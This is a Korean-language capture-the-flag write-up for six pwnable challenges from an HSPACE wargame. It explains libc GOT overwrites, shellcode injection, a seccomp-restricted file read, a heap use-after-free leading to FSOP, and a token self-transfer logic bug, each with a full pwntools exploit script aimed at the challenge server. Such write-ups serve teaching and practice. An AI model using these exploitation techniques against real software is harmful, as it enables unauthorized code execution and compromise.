2024년 05월 Space WAR Write-UP

- 이름: 권율
- 닉네임: Sechack
- 소속: 선린인터넷고등학교
- 메일 주소: dkffkffk503@gmail.com

only_takes_one_bullet

- 분야: Pwn
- 체감 난이도(1-10): 1
- Flag: `hspace{libc got overwrite!!}`

풀이과정

libc주소를 출력해주고 한번의 aaw기회를 줍니다. 그 후 buf에 데이터를 한번 입력받고 puts로 출력해줍니다. 따라서 puts내부에서 불리는 strlen함수의 libc got를 system으로 덮고 buf에 /bin/sh를 입력하면 셸을 딸 수 있습니다.

Exploit Code

```
from pwn import *

context.log_level = "debug"

#r = process(["./prob"], env={"LD_PRELOAD":"./liblib"})
r = remote("war-chall.hspace.io", 8888)

r.recvuntil("addr : ")
libc_leak = int(r.recvn(14), 16)
libc_base = libc_leak - 0x21a780
libcgot = libc_base + 0x219098
system = libc_base + 0x50d70
log.info(hex(libc_base))

r.sendlineafter("bullet", hex(system))
r.sendlineafter("target", hex(libcgot))
pause()
r.sendlineafter("monolog?", b"/bin/sh\x00")

r.interactive()
```

후기

libc에도 got가 있고 이걸 덮어서 악용할 수 있다는걸 알려주는 교육적인 문제인것 같습니다.

wasd_space

- 분야: Pwn
- 체감 난이도(1-10): 1
- Flag: `hspace{w3_Us3_SPACE_4_jmp}`

풀이과정

먼저 랜덤 키값을 출력해주고 똑같이 입력하면 점수가 오르는 게임 기능과 일정 점수에 도달하면 랭킹을 직접 수정할 수 있는 edit rank기능이 있었습니다. edit rank기능에서 ret까지 bof가 발생했고 프로그램 조반부에서 mprotect로 got섹션부터 0x1000만큼 rwx를 주는걸 알 수 있습니다. edit rank기능에서는 name과 text를 전역변수에 복사하는 기능도 있으니까 먼저 키값 맞추기 게임으로 점수 올려준 후 edit rank기능으로 bof해서 쉘코드 전역변수에 복사시키고 ret을 전역변수쪽으로 변조해서 쉘코드로 뛰어주면 됩니다.

Exploit Code

```
from pwn import *

context.arch = "amd64"

#r = process("./wasd_space")
r = remote("war-chall.hspace.io", 6789)

def upscore():
    r.sendlineafter(">", "1")
    for i in range(10):
        r.recvuntil("key - '")
        r.sendline(r.recvn(1))
    r.sendlineafter("key - ", "!")

shellcode = asm(shellcraft.execve(b"/bin/sh", 0, 0))

upscore()
r.sendafter("name : ", b"a"*0x28+p64(0x404120))
r.sendafter("text : ", shellcode)

r.interactive()
```

후기

입문자용 문제로 적합하다고 생각합니다. 포너블을 공부한지 얼마 안되신 분들이라면 재밌게 푸셨을것 같습니다.

open_read_write

- 분야: Pwn
- 체감 난이도(1-10): 5
- Flag: `hspace{S05ry_t0_b0th3r_y0u..f0rg1v3_m3_pl3as3}`

풀이과정

임의의 쉘코드를 실행할 수 있는 문제입니다. 하지만 seccomp로 인해 쓸만한 syscall들은 openat, read, write, getdents밖에 없는 상황입니다. 심지어 플래그는 실행할때마다 랜덤한 디렉터리와 랜덤한 파일명에 들어갑니다. 일단 허용되어있는 syscall인 openat과 read, write, getdents를 이용해서 디렉터리를 조회하고 파일을 읽을 수 있습니다.

```
def run(chall_path):
    try:
        subprocess.run('../prob', shell=True, timeout=45)
    except subprocess.TimeoutExpired:
        pass
    except:
        print(f"Please contact admins. this should be a critical issue.")
    print("[?] done?")

    try:
        os.chdir('../')
    except FileNotFoundError:
        print(f"Please contact admins. this should be a critical issue.")
        exit(-1)
    except PermissionError:
        print(f"Please contact admins. this should be a critical issue.")
        exit(-1)

    os.system(f"rm -rf {chall_path}")
```

위와 같이 파이썬 코드상으로는 프로그램 종료 후 chall_path를 지워주기 때문에 한번에 getdents결과를 어셈블리어에서 파싱하고 모든 디렉토리를 반복문으로 조회해봐야 할것같지만 실제로 테스트 해봤을땐 이유는 모르겠지만 파일들이 안지워지고 그대로 남아있길래 그냥 손으로 노가다해서 플래그 파일명 찾았습니다. 그리고 쉘코드 실행될때 rsp까지 0으로 세팅하기 때문에 fs주소 긁어와서 스택으로 사용했습니다.

Exploit Code

```
from pwn import *

context.arch = "amd64"

#r = process("./prob")
r = remote("war-chall.hspace.io", 10101)

shellcode = asm('''
mov rsp, fs:[0x0]
''')
shellcode += asm(shellcraft.openat(0, "/etc/passwd"))
```

```
shellcode += asm(shellcraft.openat(0,
"/home/prob/fb1be38dedf25dd1f911e7237905f0ee/1a2ebff67d73b95a8bda5f2056fda1a3/1af8
2cf44c1f474874e57f5933ca38ee"))
shellcode += asm(shellcraft.read('rax', 'rsp', 0x500))
#shellcode += asm(shellcraft.getdents('rax','rsp',0x300))
shellcode += asm(shellcraft.write(1, 'rsp', 0x500))

pause()
r.sendafter("???: ", shellcode)

r.interactive()
```

후기

인텐대로 getdents결과를 파싱해서 조회하는 dfs느낌의 어셈블리 코딩을 했다면 시간이 꽤나 걸렸을 재밌는 문제였지만 문제 세팅 실수? 같긴 한데 아무튼 언인텐 터져서 비교적 쉽게 풀었습니다.

---

cRPC v1

- 분야: Pwn
- 체감 난이도(1-10): 2
- Flag: `hspace{leT5_pwN_gRPC_For_PWN2OPWN}`

풀이과정

register function과 unregister function기능이 있습니다. register function은 함수 심볼명을 주면 주소를 얻어와서 리스트에 추가해주고 unregister function은 심볼명을 free하고 함수 주소를 삭제합니다. 여기까지만 보고 힙 익스인가 싶었는데 다 분석하고 보니까 등록한 함수를 원하는 인자를 줘서 실행할 수 있는 기능이 있었습니다. 순간 엥? 뭐지? 싶었지만 easy태그가 붙은걸 보고 납득이 되었습니다. 그냥 system을 register시키고 /bin/sh줘서 부르면 되는 문제였습니다.

Exploit Code

```
from pwn import *

#r = process("./crpc_v1")
r = remote("war-chall.hspace.io", 18181)

payload = p32(0xE0F1D2C3)
payload += p32(2)
payload += p64(0)*2
payload += p32(6)
payload += b"system"
payload = payload.ljust(0x400, b"\x00")

r.send(payload)
```

```
payload = p32(0xE0F1D2C3)
payload += p32(6)
payload += p64(0)*2
payload += p32(6)
payload += b"system\x00\x00"+p32(0)
payload += p64(0)*3
payload += b"/bin/sh\x00"
payload = payload.ljust(0x400, b"\x00")

r.send(payload)

r.interactive()
```

후기

출제자의 출제 의도를 모르겠습니다. pwnable이 아니라 쉬운 reversing에 가까운 문제였습니다.

---

benchmark

- 분야: Pwn
- 체감 난이도(1-10): 6
- Flag: `hspace{e604b31c05e0ed5ab9dac59a613eb309}`

풀이과정

스레드를 run, cleanup, rerun, revise할 수 있는 기능이 존재합니다. 처음에는 race condition을 떠올렸지만 분석하고 보니까 스레드는 그냥 반복을 도는 무의미한 동작을 했고 취약점은 rerun과정에서 새로운 객체를 할당하지만 객체에서 사용하는 arg문자열이 들어간 힙은 기존 객체에 있는 힙 청크를 재활용하면서 uaf가 발생하는 힙 취약점이었습니다.

```
      v11 = g_benchmarks[v9];
      if ( *(_DWORD *)(v11 + 8) )
      {
        v3 = (_benchmark *)operator new(0x30uLL);
        _benchmark::_benchmark(v3);
        v12 = v3;
        g_benchmarks[available_bid] = v3;
        v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Now running
Benchmark ");
        v5 = std::ostream::operator<<(v4, available_bid);
        v6 = std::ostream::operator<<(v5,
&std::endl<char,std::char_traits<char>>);
        std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
        *((_DWORD *)v12 + 2) = 0;
        *((_DWORD *)v12 + 3) = 0;
        *((_QWORD *)v12 + 5) = *(_QWORD *)(v11 + 40);
        *((_DWORD *)v12 + 8) = *(_DWORD *)(v11 + 32);
        *((_DWORD *)v12 + 4) = v9;
```

```
        ++*(_DWORD *)(v11 + 12);
        std::thread::thread<void (&)(int),int &,void>(v10, benchmark_func,
&available_bid);
        std::thread::operator=(v12, v10);
        std::thread::~thread((std::thread *)v10);
      }
```

위 코드를 보면 스레드 관리하는 객체는 새로 할당해주지만 arg를 저장하고있는 v11은 그대로 재활용하는 모습을 볼 수 있습니다.

따라서 자유자재로 uaf를 할 수 있으니 unsorted bin에 청크 넣고 libc릭도 쉽게 할 수 있었고 tcache에 넣어서 heap leak도 쉽게 할 수 있었습니다. 둘다 릭했으니 safe linking을 bypass할 수 있고 tcache fd조져서 libc에 aaw도 할 수 있습니다. 취약점을 찾는데 얼마 안걸렸고 취약점을 찾은 시점에서는 익스도 금방 할줄 알았는데 puts에서 부르는 strlen의 libc got를 덮어도 호출 자체가 안되길래 cpp libc를 분석해서 그쪽 libc got를 덮었습니다. 하지만 여기선 rdi를 컨트롤할 방법이 안보여서 system은 불리지만 인자를 /bin/sh로 못주는 상황이었습니다. 그래서 고민하다가 _IO_list_all을 힙주소로 덮은 후 cpp libc got를 exit로 덮어서 fsop했습니다.

Exploit Code

```python
from pwn import *

#r = process(["./benchmark"], env={"LD_PRELOAD":"./libc"})
#r = remote("localhost", 1337)
r = remote("war-chall.hspace.io", 30030)

def runbench(size, data):
    r.sendlineafter("> ", "1")
    r.sendlineafter("length : ", str(size))
    r.sendafter("Arg : ", data)
    sleep(0.1)

def cleanup(idx):
    r.sendlineafter("> ", "2")
    r.sendlineafter("ID : ", str(idx))

def rerun(idx):
    r.sendlineafter("> ", "3")
    r.sendlineafter("ID : ", str(idx))
    sleep(0.1)

def revise(idx, data):
    r.sendlineafter("> ", "4")
    r.sendlineafter("ID : ", str(idx))
    r.sendafter("Arg : ", data)

def decrypt(cipher):
    key = 0
    plain = 0

    for i in range(1, 6):
```

```
        bits = 64-12*i
        if bits < 0:
            bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12

    return plain

runbench(0x500, "Sechack")
rerun(0)
cleanup(0)

r.sendlineafter("> ", "5")

r.recvuntil("Benchmark 1")
r.recvuntil("arg: ")

libc_leak = u64(r.recvn(6).ljust(8, b"\x00"))
libc_base = libc_leak - 0x219ce0
cpplib_base = libc_base + 0x248000
system = libc_base + 0x50d70
_exit = libc_base + 0x455f0
_IO_list_all = libc_base + 0x21a680
vtable = libc_base + 0x2160c0
libcgot = cpplib_base + 0x227398
log.info(hex(libc_leak))
log.info(hex(libc_base))
log.info(hex(cpplib_base))
log.info(hex(libcgot))
log.info(hex(_IO_list_all))

runbench(0x100, "Sechack")
runbench(0x100, "Sechack")
runbench(0x100, "Sechack")
rerun(0)
cleanup(2)
cleanup(3)
cleanup(0)

r.sendlineafter("> ", "5")

r.recvuntil("Benchmark 4")
r.recvuntil("arg: ")

heap_leak = decrypt(u64(r.recvn(6).ljust(8, b"\x00")))
heap_base = heap_leak - 0x12240
#log.info(hex(heap_leak))
#log.info(hex(heap_base))

struct = heap_base + 0x11eb0

fake = b"\x01\x01\x01\x01;sh;"
fake += p64(0)
fake += p64(heap_leak)*2
```

```
fake += p64(0)
fake += p64(0x10)
fake += p64(0)*7
fake += p64(system)
fake += p64(1)
fake += p64(0xffffffffffffffff)
fake += p64(0)*2
fake += p64(0xffffffffffffffff)
fake += p64(0)
fake += p64(struct-0x10)
fake += p64(0)*3
fake += p64(0xffffffff)
fake += p64(0)
fake += p64(struct)
fake += p64(vtable)

revise(4, p64((_IO_list_all - 0x20) ^ (((heap_base+0x11eb0) >> 12))))
#pause()
runbench(0x100, fake)
runbench(0x100, p64(struct)*5)

runbench(0x50, "Sechack")

runbench(0x50, "Sechack")
runbench(0x50, "Sechack")
runbench(0x50, "Sechack")
rerun(5)
cleanup(7)
cleanup(6)
cleanup(5)

revise(8, p64((libcgot-0x28) ^ (((heap_base+0x129c0) >> 12))))
#pause()
runbench(0x50, "Sechack")
#pause()
runbench(0x50, p64(_exit)*7)

r.interactive()
```

후기

취약점은 쉬웠는데 익스가 재밌었습니다.

---

hspaceETH

- 분야: Pwn
- 체감 난이도(1-10): 4
- Flag: `hspace{this_bug_pattern_really_existed_in_several_ethereum_tokens}`

풀이과정

이더리움을 C로 간단하게 구현한 문제입니다. approve, allowance, transfer, transferFrom기능이 존재하고 보유 토큰이 10000000보다 많으면 플래그를 얻을 수 있는 구조였습니다. 분석을 본격적으로 하기 전에 대충 기능만 보고 "나에게 내가 토큰을 전송하면 어떤 일이 발생할까?" 라는 궁금증이 생겼고 한번 해봤는데 돈복사가 되었습니다. 그래서 원인을 분석해봤는데

```
_DWORD *__fastcall ERC20::_update(ERC20 *this, __int16 a2, __int16 a3, int a4)
{
  int v4; // ebx
  _DWORD *result; // rax
  __int16 v7[2]; // [rsp+10h] [rbp-30h] BYREF
  __int16 v8[2]; // [rsp+14h] [rbp-2Ch] BYREF
  ERC20 *v9; // [rsp+18h] [rbp-28h]
  int v10; // [rsp+28h] [rbp-18h]
  int v11; // [rsp+2Ch] [rbp-14h]

  v9 = this;
  v8[0] = a2;
  v7[0] = a3;
  v10 = *(_DWORD *)std::map<unsigned short,unsigned int>::operator[](this, v8);
  v11 = *(_DWORD *)std::map<unsigned short,unsigned int>::operator[](v9, v7);
  v4 = v10 - a4;
  *(_DWORD *)std::map<unsigned short,unsigned int>::operator[](v9, v8) = v4;
  result = (_DWORD *)std::map<unsigned short,unsigned int>::operator[](v9, v7);
  *result += v11 + a4;
  return result;
}
```

위 함수는 토큰을 전송할때 호출되는 함수입니다. 먼저 보내는 사람의 토큰과 받는 사람의 토큰을 각각 v10, v11에 저장하고 먼저 v10에서 보내는 만큼의 토큰을 빼준 후 보내는 사람의 계정에 토큰을 업데이트합니다. 그 이후 v11에 받는 만큼의 토큰을 더해준 후 받는 사람의 계정에 업데이트하는 순서로 로직이 돌아가는걸 알 수 있습니다. 얼핏 보면 문제가 없어보이지만 조금만 생각해보면 자기 자신에게 전송할 경우 문제가 된다는 사실을 알 수 있습니다. v11이 업데이트 되기 전의 값이므로 v10 - a4를 해서 업데이트하는게 의미 없는 로직이 되어버리고 돈 복사를 할 수 있게 됩니다.

Exploit Code

```
from pwn import *

#r = process("./hspaceETH")
r = remote("war-chall.hspace.io", 30031)

r.sendafter("key : ", 'a{"meth')
r.recvuntil("address : ")
address = int(r.recvline(), 16)
log.info(hex(address))

val = 0x10
r.sendlineafter("Tx : ", 'od":"transfer", "to":'+str(address)+',
"amount":'+str(val)+'}')
```

```
for i in range(0x15):
    val *= 2
    r.sendlineafter("Tx : ", '{"method":"transfer", "to":'+str(address)+',
"amount":'+str(val)+'}')

r.sendlineafter("Tx : ", '{"method":"check", "account":'+str(address)+'}')

r.interactive()
```

후기

호기심으로 때려맞춘게 아니라 순수 오디팅만으로 로직 버그를 찾아서 푸는건 조금 힘들었을것 같기도 합니다. 버그가 잘 숨어있었던 문제였던것 같습니다.
